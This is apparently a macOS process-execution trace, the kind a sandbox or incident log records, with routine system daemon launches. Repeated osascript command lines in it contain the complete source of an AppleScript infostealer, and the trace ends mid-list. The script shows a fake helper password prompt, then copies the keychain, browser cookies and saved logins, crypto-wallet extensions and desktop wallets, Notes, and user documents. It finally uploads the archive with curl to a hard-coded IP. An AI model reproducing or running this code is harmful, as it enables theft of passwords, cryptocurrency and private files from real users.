\"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)"

xpcproxy com.apple.ViewBridgeAuxiliary

/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary

/usr/bin/pluginkit -e ignore -i com.microsoft.OneDrive.FinderSync

/usr/sbin/spctl --assess --type execute /var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/OneDriveUpdater4B941C11/OneDrive.app

xpcproxy com.apple.sysmond

/usr/libexec/sysmond

xpcproxy com.apple.spindump

/usr/sbin/spindump

xpcproxy com.apple.tailspind

xpcproxy com.apple.spindump_agent

/usr/libexec/tailspind

/usr/libexec/spindump_agent

xpcproxy com.apple.audio.systemsoundserverd

/usr/sbin/systemsoundserverd

xpcproxy com.apple.pbs

/System/Library/CoreServices/pbs

xpcproxy com.apple.audio.AudioComponentRegistrar

/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon

xpcproxy com.apple.geod

/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod

xpcproxy com.apple.geod

/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod

xpcproxy com.apple.secinitd

/usr/libexec/secinitd

xpcproxy com.apple.cfprefsd.xpc.agent

/usr/sbin/cfprefsd agent

xpcproxy com.apple.AddressBook.ContactsAccountsService

/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService

xpcproxy com.apple.nehelper

/usr/libexec/nehelper

xpcproxy com.apple.routined

/usr/libexec/routined LAUNCHED_BY_LAUNCHD

xpcproxy com.apple.Maps.mapspushd

/System/Library/CoreServices/mapspushd

xpcproxy com.apple.neagent.878568F8-CCE5-4157-8315-22F20DC8FB0A

/usr/libexec/neagent

xpcproxy com.apple.TextInputMenuAgent

/System/Library/CoreServices/TextInputMenuAgent.app/Contents/MacOS/TextInputMenuAgent

xpcproxy com.apple.TextInputSwitcher

/System/Library/CoreServices/TextInputSwitcher.app/Contents/MacOS/TextInputSwitcher

login -pf run

xpcproxy com.apple.AccountPolicyHelper

/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper

xpcproxy com.apple.PerformanceAnalysis.animationperfd

/System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd

xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E

/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService

login -pf run

xpcproxy com.apple.metadata.mdwrite

sh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"

sh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"

sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"

sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"

osascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfh